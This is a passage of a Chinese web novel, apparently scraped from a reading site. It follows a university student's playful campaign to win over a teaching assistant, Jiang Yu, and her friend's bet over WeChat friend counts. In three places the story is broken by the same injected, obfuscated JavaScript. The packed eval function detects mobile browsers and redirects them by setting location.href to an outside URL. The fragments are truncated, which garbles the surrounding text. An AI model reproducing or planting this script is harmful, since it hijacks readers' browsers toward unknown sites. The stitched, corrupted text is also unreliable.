《他一定超喜欢我》 2. 你喜欢我？ 宋清杳回过身，从墨镜的余光里瞥一眼对方的脸。 是那种温柔的面相，在亲和力方面没得说，唯一的扣分点就是太帅了。五官深邃，应该算是桃花眼，但偏偏目光比别人都澄澈，干净又善良。 让她脸上有些发烫。 她从来没有和他说过话，但会在石城疗养院偷看他。透过秋天日落时的玻璃，像是透过一层保护壳。那天孙婆婆坐在轮椅上说笑，而推轮椅的那双手干净修长，在叶片的斑驳影子下显得非常漂亮，树枝一颤，推轮椅的人沐浴着阳光露出一张极其温柔的脸。她瞧见，惊为天人。 当下的问路实在突然，宋清杳紧张中找了好一会儿，最后发现目的地近得离谱，她笑出声：“你右手边就是。” 确实很巧，如果不是宋清杳才是故意跟踪的人，恐怕会怀疑他是不是别有用心，蓄意找借口搭讪。 那人先是惊讶，后来也发觉好笑。 他一勾唇，宋清杳就紧张。她想到自己后面要干什么，手心有些出汗。 好难。 “谢谢你，同学。” “不客气。” 她沉吟一会儿，直面他，零帧开口：“喜欢我？” 稍显生涩的狂妄，实际上墨镜后的眼睛只敢睁开一条缝隙。她尽量让自己看起来自然一点，冷静一点。 对方微微侧头，好像在怀疑自己的耳朵出了错。 “啊，我，你……” “喜欢我，我也可以理解。毕竟我漂亮、聪明、家庭幸福、性格又好，喜欢我很正常，你不必自卑。” 宋清杳几乎是硬着头皮开始的，但夸起自己来却没有心理负担，那种紧张的别扭感渐渐减缓。 听起来像是，她大度地原谅了他，甚至好心送上鼓励。 即使对方只是问了个路。 这番话属实令人震惊，对方亲切的神态出现一丝裂隙：“确、确实漂呃…” 没等他说完，宋清杳一摆手，继续道：“当然你也别太自信，毕竟喜欢我的人遍地都是，从新校区排到佛罗伦萨，如果全世界喜欢我的人都举手，那么整个地球就会变成一颗海胆。” 越说越顺了。 那张帅脸彻底陷入混乱，他张了张嘴，似乎想说话，但话都黏在喉咙里，就是找不到合适的位置。 有种老实人被冤枉的无力感。 “你心里有数就行，无需解释，我都懂。” 到了这个时候，宋清杳的气势已经占据上风。 她轻笑一声，干脆摘掉墨镜，给了他一个懂得都懂的眼神： “这位同学，下次想要我微信就直说，不用找个这么愚蠢的问题。” 说完马上就走，不再多看一眼。 心跳如雷。 这是她暗恋至今的第一次搭话，宋清杳边小跑边复盘。她还记得，婆婆曾经介绍她这位帅到惊天动地的外孙，是这样说的。 “他太善良了，从小就习惯讨好别人，就算被别人欺负也不知道还手，就是个老好人，可怜鬼。蕙兰，你以后可不要太经常欺负他！” “他最喜欢自信的小姑娘了，所有人都喜欢的。蕙兰，勇敢一点吧，不勇敢的人会后悔一辈子！” 现在应该算是够自信了吧，够勇敢了吧！ 一串丝滑的大招往人脑袋上砸，让老实人毫无还手之力。宋清杳终于吐出一口气，默默在心里喊了一声： yes！ 孙婆婆果然没有骗人！ 最后的mvp结算画面是： 女孩穿了一条鹅黄色连衣裙，乌黑的头发盘在后脑。离开时，卷发摇晃着披散下来，华丽优雅。一枚发圈从乌发中脱落，刚好掉在那人脚边。 那是一枚漂亮的黄色蝴蝶结发圈，飘带顺滑，透出水样的光泽，通身都是某个大牌的花纹，一看就不是便宜货。 那人已经被搞懵了，辩解的话愣是没说出口。西裤在腿弯形成一道褶皱，他躬身捡起发圈，半蹲着拿在手心，抬头看女孩离开。 他揉了揉耳朵，再揉了揉眼睛，好像莫名其妙，又好像有些欢欣。 “确实漂亮。”他小声说。 “怎么，不认识路？”朋友拉着行李箱从背后靠近。 “怎么可能。”直到裙边消失在道路尽头，他才回过神，盯着手心的蝴蝶结，上面似乎还残留着主人发间的香气。 他垂眸，整个人冷静下来，“没事。继续说，姓周的又搞什么幺蛾子？” 朋友一巴掌拍在他肩膀上，笑疯了：“事情办的太绝了吧，姜宇，有人说你欺负他呢。” 安诗穿着轻便耐脏的灰色运动装，斜靠在阴凉处等人。宋清杳回到她身边，继续帮忙拿包裹，没事人一样往前走，换来好友意味深长的一声：“哟——” 安诗离得远，听不见他们说什么，只能看见大致的动作，也瞧见宋清杳披散着头发回来。 “那位男嘉宾是？” 宋清杳难忍住笑，帮好友提了两个蛋糕，低下头催促：“快走吧，东西沉。” 安诗看破不说破：“是，东西太沉了，要不我也丢掉发圈减减重量吧。” 安诗胳膊肘一杵：“要没要微信？” 宋清杳淡定摇头：“大师告诉我，追人不是说我喜欢你，而是教他说喜欢我。他得主动要我的微信才行。” 一定得是他主动，至于什么方法让他主动，那别管。 安诗一脸吃到大瓜的表情，又追问那人是谁，哪里认识的，靠不靠谱，为什么连她都不知道。 宋清杳眼珠子转了转：“我一直想说一件事。你的车技太烂，坐上之后天旋地转，转弯的时候差点撞到绿化带。” 成功转移话题，并且挑起了安诗的怒火：“你一个科目二挂两次的人在说什么，不爱坐就别……” “所以以后接单子一定要带上我，我帮你看导航和路标，这样安全点。”宋清杳面不改色地补充。 安诗熄火：“……太麻烦你了，不行吧。” 俩人从小学就在一起玩，暑假睡一张床的关系。宋清杳担心，就直接问：“最近这么辛苦，是不是遇到了什么麻烦？” 安诗笑着摆摆手，撇过脸去，说还好，还好。 420宿舍住了两个班的学生，宋清杳和谭笑是生物系，刘莹洁和丁芷珍是材料系，专业课不重合，但基础课可以一起选。 宋清杳回到宿舍的时候，推开门，就听见自己的舍友正在争论那位全校闻名的时教授究竟有多帅。 她收拾书本的时候听了一耳朵，据说有一位时教授模样堪比明星，他的课场场爆满，但是这两者之间没有因果关系。 只是因为他几乎每节课都点名，是亲自点名，不是线上签到。而且作业和考试都很严格，导致挂科率非常高，就连前年的学生也要回来重修，座位根本坐不下，每次都要临时增加选课人数才行。上课即早八，一挂挂一片，大家为他起了个亲切的外号，灭霸老师。 “所以你大物选的谁？千万别是灭霸。” 宋清杳在舍友的催促下打开教务系统，其中的一行明显写着： 大学物理，时西物，早上八点。 宋清杳：…… 舍友们都来围观这个倒霉蛋，笑得歪倒在一起。谭笑好心地提醒她：“赶快改啊，王老师那边还有名额，再晚就来不及了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016796|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用了。”想起昨天在办公室看到的名字，宋清杳关掉界面，刻意找了个理由，笑吟吟道，“时老师这堂课就很好，毕竟有帅哥嘛。” 舍友们吁——的一声开始起哄，笑她口味独特，色令智昏。周围一堆追她的青春男大，她一个都看不上，原来是喜欢四十多岁的人夫老帅哥。 然后谭笑从小红书找到了时老师上课的照片，配合博主在期末周的愤慨吐槽。欣赏后，大家又是一阵唏嘘，嬉闹成一团。 宋清杳没解释，此帅非彼帅。 不过她为人比较好色，一天不看点帅哥就难受，这堂课大的小的都能看到，也算把学费赚回本了。 不说别的，单论拿下姜宇。宋清杳晚上躲在被窝里偷偷给自己打气： 不要怕，拿出你买煎饼果子都敢自带鸡蛋的气势！ gogogo！ 去震撼他！震！撼！他！ 最终，在420宿舍的呼呼大睡中，宋清杳一个人背着书包去赶早八。 为了给自己增强信心，她早晨专门去食堂吃了一套煎饼，豪华加肉加蛋版。师傅手艺很好，味道香得让大橘学长追在她身后喵喵叫。 宋清杳到得早，教室只有两三个人正在玩手机的人，零散分布在中后排。放眼望去都是空位。 如果他来了，会坐在哪里？应该不是后排。宋清杳的眼神从后方向前移动。助教为了方便和老师沟通，应该会是…… 她在第一排最右，门边的双人位上放了一个黄颜色的水杯。 然后转身离开，去二楼的自助饮料机旁排队买冰咖啡。今天第一天上课，每个人都睡眼惺忪，咖啡都被卖爆了，宋清杳排了很久，直到上课前一分钟才回到教室。 人基本上来齐了，一个空位都不剩。著名的中年帅哥时老师正站在窗边看风景，他的侧脸轮廓格外立体，似乎是混血，难怪帅得全校闻名。宋清杳简单看了一眼就移开目光。 而讲台上，另一个高挑的身影正在连接电脑和投影设备。 他穿着简单的白T和牛仔裤，似乎还没睡醒，头发稍显凌乱。但即使这样也气质出众，在整间教室鹤立鸡群。 电脑光亮映在那张脸上，垂眸的神态显得他眼睛狭长，专注的时候带着一股子冷淡，和之前看到的亲切大不相同，疏离得让人不敢轻易搭话。 宋清杳不作声，回到自己的座位，看到旁边的位置上已经有东西占了位。 是一杯透明的冰水，混着淡淡薄荷香。 她内心又悄悄握拳：又近一步。 上课铃响，宋清杳装作不在意地拉开背包，往外拿书本。 眼角余光瞥见姜宇往这边走来，中途有几个同学和他打招呼，他也微笑点头回应，没有多说一句废话。 当看到旁边有人的时候，他的脚步似乎顿了顿，但没有停下。 姜宇坐到她身边，也开始整理物品。空气中全都是他的气息，微甜的薄荷香。 宋清杳没说话，只是安安静静地摊开书，按照老师讲的得分比例勾勾画画，俨然一副内向小女孩认真听课的样子。 她的目光紧紧追随时老师，好像在欣赏这位老帅哥的颜值。 但其实内心在抓耳挠腮。 开口啊，他怎么不开口呢？ 她的发圈就放在他包里，刚刚他拿东西的时候都露出来一条蝴蝶结飘带了！ 是不是忘记这回事了？快想起来！ 现在！已经可以还给她了！ 宋清杳迅速偷看他一眼，然后坐直身子，发出轻微响动。 她把发丝别到耳后，小声嘀咕了一句：“嘶，我的发圈怎么找不到了……” 3. 他请喝奶茶 按照宋清杳的计划，事情应该会这样发展： 她的发圈丢了，被姜宇捡到。两人在时老师的课上恰巧“偶遇”，她婉转地向这位同桌表达自己发圈丢了的困扰。不论是这次课还是下次课，姜宇绝对会主动将失物归还。 然后宋清杳会假装惊讶：“是我的发圈，怎么会在你这里？” 姜宇会解释是上次见面的时候，他捡到的。 宋清杳就能微笑感谢：“这个很贵重的，花了我一个月生活费，你能还给我真是太好了。” 于是顺势提出请他喝奶茶。 如果他不接受，那就大大方方调笑：“不过是正常的感谢而已，你是不是害羞了？” 老实人绝对无法招架。 一来二去，又能获得一次见面的机会。 可现在的情况似乎不太对劲。 宋清杳正在找她的发圈，快把背包翻完了，但还是找不到，也没有任何一个人适时地冒出来说发圈在他手里。 很奇怪。 她借助整理头发的时机，快速偷瞄旁边的人第十七眼。 姜宇没有玩手机，也没有专心听课。他单手抵在下颌，微微向右偏头，目光一直盯着大学物理的封面，长而直的睫毛一动不动，似乎在发呆。 应该是没听到，或者忘了。宋清杳也不确定。 总不能是故意留着她的发圈不还吧，那也太坏了。 她注意着讲台上的老师，老帅哥正沉迷在自己的知识中无法自拔，短时间不会往这边看。 宋清杳准备冒一下险，动作幅度再大一点，她念叨着发圈发圈，然后左右低头。 地上居然有一张纸，差点被她踩到。 捡起来，宋清杳发现那是一张写满字的实验报告，数据和结果都已经填好了，字迹整整齐齐，姓名……姜宇。 耳边响起一道轻轻的声音：“我的实验报告，原来是被你捡到了。” 她抬头，发现姜宇微微低头看着她，温和地散发善意。 “它对我很重要，能找到真是太好了。” 宋清杳一愣。 有点耳熟是怎么回事。 流程都对，但人不太对。 她开始紧张，这句话之后应该就要开始感谢了。这样的话，岂不是没有喝奶茶那一步了？ 宋清杳把全部精力都放在听觉上，试图听出对方的心声。 “谢谢你，同学。”姜宇说。 后面没有了。他目光真诚，礼貌的语气一如往常，似乎是真的丢了东西。 宋清杳将信将疑地把实验报告递过去，还没放到对方手里，就听到一个声音： “哟，这么漂亮的两个人坐一起，约好的吧。” 讲台上，被当成摆设的时老师哼了一声。显然这位老帅哥的脾气并不随和，见自己的助教居然明目张胆在第一排搞小动作，马上走到了二人面前。 不过八卦是人类共有的天赋，恶趣味的时老师拍拍姜宇的肩膀，又看了看宋清杳的脸：“这么般配，是小情侣吗？” 当然不是，他们才见两面而已，宋清杳腹诽。但她没说话，想先听听姜宇怎么回答。 肯定要说不是，但说话的语气、神态和速度都能说明问题。等他回答之后，宋清杳再施施然跟上就好。 可她旁边的人没有回答。 三秒，五秒…… 宋清杳飞快往他那边一瞥，偷偷看他什么表情。 但目光抓到什么一闪而过，她好像看到姜宇也飞快往这边瞥了一眼？ 不过她眼神不好，也可能是飞蚊症犯了。 马上就要到一个不回答就会变得奇怪的时间了。 宋清杳只能腼腆摇头：“不是。” 姜宇的声音才跟着出来，也说不是，只是温吞吞的，好像有些迟钝。 时老师看起来和姜宇关系匪浅，手就亲昵扶在他的肩膀上，听见姜宇否认之后直接抓起他的胳膊，露出手腕上鹅黄色的那一圈。 正是宋清杳丢的那枚发圈。 时老师舒坦了，笑他：“还说不是呢，都戴上小姑娘的头绳了。” 哟——的一声。 一屋子吃瓜的同学就开始起哄。 姜宇稍显尴尬地抽回手，好像才想起来这回事，耳朵有些微微发红。 发圈烫人似的，他迅速摘下来递给她：“你上次落下的，忘记还给你了。” 有些东西越是手里拿着，越容易被忘，宋清杳深有体会。 可吃瓜的同学们又是一声，哟—— 上次是什么时候？怎么就和学妹见面了？发圈又是怎么丢的？你们两个俊男靓女真没发生什么？ 话说的暧昧不明，不怪别人遐想。 宋清杳在起哄声中感觉良好。有几个人似乎和姜宇的关系不错，说他平时从不忘记事情，肯定是故意的。 可不一会儿，她缓缓压住了嘴角。 别人怎么八卦都是假的，实际上，她甚至连一杯奶茶都没有喝到。 在拿回发圈之后，宋清杳一直没找到说话的时机。后半节课的时候，时老师总以奇怪的眼神盯着她和姜宇，让她心里发毛，更加不敢开小差。 看来是没机会一起喝奶茶了。她偷瞄见对方认真听课的脸，放弃了插话的念头。 当时就应该抓住那个时机主动说谢谢，然后马上说请你喝奶茶。明明就差一点点。 她心里空落落的。 下课后，姜宇拦住了宋清杳。 他眉头没有完全舒展，可能是有点愧疚。 “等一下，同学。很抱歉，拿了你的东西忘记……” “那就请我喝奶茶吧。”她突然说。 而后又补充：“下次课之后。” 为了抢在姜宇前面，她话说的又急又快，而且太紧张忘记微笑了，看起来更像是理直气壮。 但姜宇没有计较，他似乎觉得这是个好点子，随即莞尔：“好啊。” 旁边又有两位同学听到对话，脸上同时浮现出诡异的笑容。 这堂课的学生成分复杂，连前年的学长都来重修，而恰巧姜宇的人缘很好，不少人都认识他。 下课之后，课堂上的八卦已经按照不同人编撰的版本悄悄蔓延出去，让平静的水面荡起小小涟漪。 宋清杳终于笑出来。刚刚她心里打鼓，现在她心里在敲锣。 七得隆咚强，咚强，咚强~ 姜宇主动（被主动）请她！喝奶茶啦！ 果然这个世界是勇敢者的世界，从今天起，孙婆婆的话就是她的至理名言！走出教学楼，她一把抱住圆润的大橘学长，狠狠蹂躏一番。学长不敌，败倒在她手下翻肚皮求饶。 接下来两天都没有大物的课，宋清杳去熟悉的便利店找安诗消磨时间。 一进去，发现今天收银台打工的人不是安诗。宋清杳一愣，退出去，琢磨着好友可能今天休息。 她慢悠悠回到宿舍楼，敲响安诗宿舍的门，得到允许之后进去，刚想喊一声，话却卡在嗓子里。她的眼睛盯着敞开的床帘和一览无余的座位。 床位也是空的。 这就有点奇怪了，宋清杳心有所感，转身下了楼，冲出校门到附近的施工空地上找车。 一辆一辆找过去，都不是。她没有找到那辆贴了八个实习标的旧桑塔纳，它从停车的地方消失了。 简直奇怪到有点恐怖的程度。 安诗的电话一直在通话中，微信也不回。让人心神不宁。 安诗和她从小学开始就是同学，一起考上了最好的初中、高中、D大。安诗家庭情况复杂，总是在上学期间接一些杂活，赚零花钱。 最初是小学三年级的时候，那时宋清杳和安诗还不熟，她体育课偷懒躲在主席台下，正好和安诗迎面撞上。她刚想问跑第一的人怎么还躲，就看见小安诗局促地用左脚挡住右脚。但宋清杳还是瞧见了，安诗脚上的鞋——似乎是好几个人穿过的，鞋底已经磨掉了，根本跑不了步。 宋清杳从小就知道，有些小朋友的生活可能有点难。 从那以后，她就拉着安诗一起躲跑圈。她们成绩好，鲜少被骂，甚至还能和路过的老师打个招呼。 今天，宋清杳像躲跑圈一样鬼鬼祟祟蹲守在宿舍楼前，终于在临近门禁时间的晚上，在楼梯间的台阶上撞见一个熟悉的人影。 声控灯暗着，只靠楼道门照进去的灯光无法映清楚人脸，但宋清杳凭借直觉认为那是安诗，并且隐隐约约瞧见，那人的肩膀好像在抖动。她默默站到那人身边。 宿舍楼里一直有动静，洗衣服和接水的声音从水房里传来，但楼梯间还是暗的，沉默得像外面的夜色。 时间好像静止了一会儿。 “对了，”安诗开口得很突然，“听说姜宇在追你。” 宋清杳震惊：“你听谁说的？我梦里这么说了吗！” 安诗：“有几个人这么传的，还说了别的。” “说什么？” “你可要小心周叔瑜。”安诗把脸埋在阴影里，假装自己没有哭过，“小心他又来找你。听说他和姜宇有仇，到处说姜宇心狠手辣，还说大家都被骗了。” 宋清杳：“周叔瑜是……” “就是那个跟你表白，结果把草皮烧了的傻大个。” 宋清杳想起来了，她还骂他是三舅爷家的猪圈。不过现在的重点不是这个。 如果是之前，她看出安诗不想谈自己的事，那就不会再追问。因为她小心翼翼，害怕伤到朋友的心。而安诗也小心翼翼，不想给别人添麻烦。 说不出到底谁才是胆小鬼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路上拉住一个犹犹豫豫的安诗，宋清杳顺手向她展示了一下自己的战绩。 光是一上午，就加了十三个，足足十三个之多！宋清杳松了口气。 这样下去，安诗就不用担心那件事了。 说起来，那件事的起因其实很简单：安诗追尾了一辆豪车。对方要求赔偿两万块，她拿不出来。 不过幸好车主是以前的熟人，他不差钱，愿意和安诗打一个赌，如果她赢了，就能免去赔偿。 问题就在于这个赌约，离谱到堪称幼稚。 竟然要比谁的好友数更多。 昨晚宋清杳仔仔细细地听完，忽然问：“你说的这个打赌的熟人，是徐活？” 安诗：“你知道？你不会和他有仇吧！” 当时宋清杳没有回答，她脸色臭臭的。有仇，而且神经。难怪他要和安诗打这种赌。 而今天，忙碌了半天的宋师傅扬起脸，炫耀道：“我厉害吧？” 半天就加到了十三个。等到了期末，她们的好友数肯定能超过徐活，赢下赌约！ 自从和宋清杳倾诉过后，安诗的情绪就舒缓了很多。 现在，郁闷了两天的她终于露出一点惊喜的神色：“怎么做到的，有秘诀吗？” “当然。” 加微信这件事，最重要的只有一点：勇敢开口要！ 宋清杳从衣兜里掏出一本绿皮小册子，在安诗眼前晃了晃：“呐，秘籍。” 是婆婆给的。 上面一行大字《成功女人必备的自信学秘籍》，一看就不是什么正经书。 安诗将信将疑地翻开，秘籍第一条：胡说八道。 …… 安诗合上。 原本宋清杳没打算献血，只是来人多的地方完成加微信的kpi。但安诗说献血会算在志愿分里，她准备去。 又听说这次的献血礼品有限定版D大周边玩偶，可爱得很抽象，遭到大家疯抢。宋清杳也想要一个，就陪安诗一起排了献血的队。 不过前面的队伍很长，等排到她的时候，玩偶有可能就没了。 在队伍缓缓前进的时候，安诗转过头来，神神秘秘地说了一句：“那不是你的心动男嘉宾吗？” 宋清杳抬眼一望，姜宇就在献血车旁分发玩偶。 志愿者T恤被他穿得像品牌运动服，清爽干净，他叮嘱每个人注意休息，那张帅脸总是轻轻扬起嘴角，一副十分善良的模样。 虽然知道他人缘好，但宋清杳还是有点不舒服。他是不是笑得有点太好看了？对别人。 安诗小声问：“你们进展怎么样了？” 宋清杳无精打采：“还没什么进展。” 他答应请她喝奶茶，但没到约定的时间。就算有传言说姜宇在追她，但四舍五入他们其实都不算认识。 安诗眼睛一眯：“还没加微信？” “没。” “我有一个想法。” 受到朋友帮助，怎么也要投桃报李。安诗鼓起勇气，脑海中迸发出一个绝妙的点子。 4. 他的微信 献血礼品还有很多，但最抢手的玩偶只剩一箱了。安诗仔细观察过，所有领礼品的人都是为了那一款玩偶去的，看都不看其它款式一眼。 按照这样的排队情况，最后一个玩偶会落在哪个人手里，完全可以计算出来。 如果拿到最后一个玩偶的人是宋清杳，那事情就好办了。毕竟巧合出现两次就一定是蓄意，这是八卦传播的定律。 献完血领礼品，按照安诗的指挥，宋清杳悄悄和后面的人换了个位置。 她数着箱子里剩余的D大玩偶，一个、两个…也数着前面排队的人。要是前面有谁不要玩偶，就再往后换一个位置，保证自己总能准确地排到最后一个。 很好，现在还剩三个，宋清杳前面刚好排了两个人，她深呼吸调整心跳，耳朵注意着周围的一切。 “我不要玩偶，想要你的联系方式，可以吗？”最前方的女同学含羞带怯，伸出自己的二维码。 宋清杳抱臂听着，倒是没有太在意。 这种场面她见过很多次，就像姜宇吃薄荷糖一样常见。她知道，他一般会先微笑，再摇头，然后看着对方的眼睛说， “不好意思，”姜宇歉意笑笑，直接把玩偶给了对方，“还是这个更适合你。” 连拒绝的理由都没有说，对方接过玩偶之后小声说了一句谢谢，然后低着头跑了。 轮到下一个人：“我要两个。” 宋清杳墨镜快掉了，她现在开始着急，差点忍不住冲出来制止这种狮子大开口的行为。 “帮我朋友拿的。就是刚刚晕在地上磕破膝盖的那个，现在她去了医务室处理伤口。” 这倒是难免的事。 宋清杳默默忍回去。 等排到宋清杳，箱子里的D大玩偶已经一个也不剩。看着空荡荡的纸箱，和旁边其余款式的歪瓜裂枣，她和安诗远远对视一眼，同时发现： 完蛋，刚刚的绝妙想法大概是个坏主意！ 现在好了，时机没碰对，想要的玩偶也没了。 姜宇修长的手指在表格上勾勾画画，没抬头，习惯性问：“想要什么礼品？” 说了想要什么就能得到吗？宋清杳没吭声，只是留恋地望着那个空箱子。 刚刚只是稍微有点喜欢，现在回忆起来却越想越喜欢，那丑萌的小模样简直可爱死了。果然得不到的永远在骚动。 奇怪的沉默让姜宇抬起头来，看见眼前的人。 见过面，又做过同桌。他刚打算开口说好巧啊同学，就发现了对方充满怨念的眼神，隔了层墨镜都挡不住。 她的视线似乎指向放玩偶的地方，姜宇顺着望过去，发现纸箱里空了，一个也不剩。 他思索一会儿，然后弯腰到桌子下面，从不知道哪里又掏出一个被透明塑料皮包裹的D大玩偶，丑萌得鲜活灵动，颇具艺术色彩。 “是这个吧，刚好还剩最后一个。” 姜宇的目光无论看谁都带着亲切，尤其是递玩偶的时候。 玩偶在宋清杳视野里越来越大，他头歪了歪，丑萌玩偶后面就露出一张温柔的脸，眼睛里闪着欢悦的光，好像很高兴别人能拿到喜欢的东西。 宋清杳差点忘了自己要说什么，心跳漏了一拍，不知道自己是怎么接过来的。 姜宇收拾了空纸箱，提醒队伍后面的人：“D大玩偶已经没有了，要排的人下午再来吧。” 排队的人失望，三三两两离开。但刚走几步，又被身后一句话给镇住，一步一步挪回来。 宋清杳单手撑在桌上，按照原计划，用戏谑的语气：“是刚好剩最后一个，还是专门给我留的？” 今天要微信的时候锻炼出来了，说出这样的话，她竟然没紧张。 后面排队的愣了。 姜宇也愣了。 他把桌上的表格拿起来，把笔放下，然后把表格叠在笔上，手脚很忙但是又不知道在忙什么。 每当这种时候姜宇都说不出来话，宋清杳发现他果然吃这一套。 她偷偷压住嘴角，有种欺负老实人的快乐。双手抱住玩偶，宋清杳得意看天：“哟，想不到你做过功课，知道我最喜欢哪个玩偶。” 宋清杳听见后面的人开始窃窃私语，问什么情况。 姜宇大家都认识，除去他长相优越的原因之外，还因为他经常出现在各式各样的活动上，演讲、开会、志愿活动……可以说是D大风云人物。 吃瓜同学们都在问这个女生是谁，是新生吗。 安诗在人群里听着，适时插一嘴：“你们不知道吗，她是宋清杳。时灭霸课上有个瓜，据说姜宇拿了她的头绳不还……” 不是不还，是忘了还，但八卦可不讲究这种细节。 立马有人想起来了：“哦——” 于是此起彼伏都是： “啊——” “哟——” “嚯——” 姜宇在起哄声中站起来，向大家摆手：“我当时、我不是故意的，别传这种话…对女生不好……” 一个人的解释在汹涌的起哄声面前稍显无力。 他没办法，只能绕过桌子，高大结实的身体像一堵墙一样，挡在宋清杳和吃瓜同学们之间，企图保护女方的形象。有点愧疚：“不好意思。” 宋清杳的嘴角快要翘到天上去了，她把头发撩到耳后，刻意提到：“上次已经道过歉了，说要请我喝奶茶，不会是假的吧。” 姜宇低下头：“是真的。” 他看着她的眼睛：“同学，说好要补偿你，我不会食言。” 离得很近，宋清杳能感受到他胸膛传来的微微暖意，薄荷香，但不凉，体温里似乎有阳光的味道。 她心里痒痒的，顺势掏出手机，故作大度道：“既然这么喜欢我，那就勉强加个微信好了。” 大家的调侃和哄笑像一团火，把姜宇架在上面下不来。 屏幕亮起二维码。他扫了好几遍才出现滴的一声，连说几句不好意思，尴尬得不敢看人。 终于加到微信。 宋清杳缓缓点了通过，试图让自己显得大大方方，一点都不怯场。安诗过来和她偷偷击了个掌。她手心火辣辣，耳朵也快烧红了，周围都是八卦的声音。 她只是盯着自己刚加到的微信，对方的头像是一张石城的山水照片，微信名叫： 却下层楼。 吃瓜的人还没散开，就又有人挤到中间。 一个穿花衬衫的男生似乎和姜宇很熟，他从人群里冒出来，胳膊搭在姜宇肩膀上。而当他看见宋清杳和安诗的时候，眼睛忽然移不开了。 真漂亮。 两位女同学，一位稍微小巧些，白白净净的小姑娘，戴着墨镜，显得格外娇憨。 另一位一米七五，瘦高的身材，穿运动服，凌厉的长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016798|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相，打眼看上去和模特一样。 “二位同学，我叫许升平，计算机的，方便加个微信吗？”他甩开姜宇，直勾勾地向前搭讪。 按理说这样的举动有些大胆，哪有一次要两个人微信的？旁边几个女生用异样的眼光看着许升平，尽管他本人毫不在意。 可宋清杳和安诗的眼睛同时亮起：“当然可以。” 她们正缺kpi。 尤其是安诗，一副相见恨晚的样子，手机一直亮着二维码：“你扫我？” 虽然有点不太对劲，但许升平倒是很惊喜。毕竟一般没有人对他这么热情。 他连连说好。可后面突然冒出一只手，把他推开。 姜宇对宋清杳二人面露歉意：“不好意思，我朋友爱开玩笑。我们有急事，就先把他带走了。” 他大概是为许升平的举动感到丢人，就不怎么笑了。 姜宇一把把人拽走，力气很大的样子。许升平被拽得人快要和衣服分离了，花衬衫被从裤子里扯出来，他一路嗷嗷叫唤，露出一段不错的腹肌。真的是蛮不错的腹肌。 最终也没加到微信。 宋清杳没有阻拦，但偷偷看了两眼。 可能是刚献完血，宋清杳脑子晕乎乎的。 回宿舍的路上，她打开手机欣赏了一眼又一眼。却下层楼？姜宇用这个名字当网名，肯定有寓意。 像诗词。宋清杳捧着自己的玩偶搜了一下。 果然是诗词，“每登临山水，惹起平生心事，一场消黯，永日无言，却下层楼。” 居然是个忧郁美男，宋清杳没想到。她还以为对方和外表一样，是阳光温柔的类型。 读完整首词之后，她发现了两个字，乐呵呵戳了戳旁边的安诗：“你说，他会不会真喜欢我？” 安诗正在数今天到底加了多少人，没当回事：“是，刚见第三面，他已经被你迷得不行了，是这个意思吗？” 宋清杳不说话了。她就是莫名有这种感觉，虽然进展不太明显，但姜宇对她……肯定是有好感的。 许升平是嗷嗷叫唤着被拽到宿舍的，花衬衫的领子都被扯大了，一路上不知道被多少人夸了身材好，直夸得花孔雀都害羞了。 等关上门，姜宇确认他不会出去祸害别人之后，才放手。 简直莫名其妙，许升平喝口水缓了缓，问：“这么大脾气，谁又惹你了？那个周叔瑜不是被你搞得不敢露面了吗？” 姜宇一改刚刚的亲切温柔，他背靠椅背，双腿交叠，面上的表情淡淡的：“收敛点，公狗都不会乱发丨情。” 许升平毫不介意，他听姜宇骂人听惯了，知道这人有两幅面孔，私底下不爱装友善。 他掏了掏耳朵： “哦~你不会以为我看上人家了吧，想什么呢，交个朋友而已，你没加过美女的微信吗？不过今天的学妹是真漂亮啊……” 某人的脸色马上变得严肃，冷眼斜对，周围空气都降了一度：“你想死吗。” 气性真大，许升平嘀咕半天，最终给出一个自认为的好办法：“好了好了我不说了，也不加了。” 过了一会儿：“还生气啊？那刚好帮我个忙。今年有反诈宣传任务，你气得不行就去网上抓几个骗子虐一虐当案例，然后把这张表格填了。” “记住啊，你就找那种疯狂加微信的，十有八九是为了骗钱，一抓一个准！” 5. 你是假的吧 女生宿舍楼已经熄灯。 空调声音掩盖了细微的呼噜和磨牙声，每张床帘都遮好了，里面没动静，也没透出一点光。 但有个人躺在床上，翻身又翻身，还是静不下来。最后怕吵到别人，她干脆坐了起来，在黑暗里干瞪眼。 还是睡不着。 手机屏幕亮起，宋清杳给安诗发短信： 【睡了吗？】 安诗亦未寝。 她们蹑手蹑脚溜到楼梯间，坐在台阶上，面对一扇能看见星星的窗户，开始小声痛骂那个始作俑者。 “徐活就是个神经病！” “其实也算好人，”安诗为他说话，“毕竟能换两万块钱，对我来说已经很好了。” 车是安诗借来的，原本在叔叔家仓库闲置不用。那天追尾的时候，她曾给叔叔打电话问保险，却听说这辆老破车很多年没交过商业险了，交强险只赔两千。天知道当时她有多么五雷轰顶。 要不是徐活给了一个免去赔偿的机会，安诗恐怕要暂时休学一段时间。 “神经病好人。”这并不冲突。 总得让人骂一骂吧，宋清杳都睡不着了。 二人今晚失眠的原因相同：新加的微信好友有点杂。 从回到宿舍之后，微信小红点就不停冒出来。吵得宋清杳都没时间和姜宇打招呼，干脆调成静音，不看了。 这也就算了，主要是收到的内容实在有点猎奇。 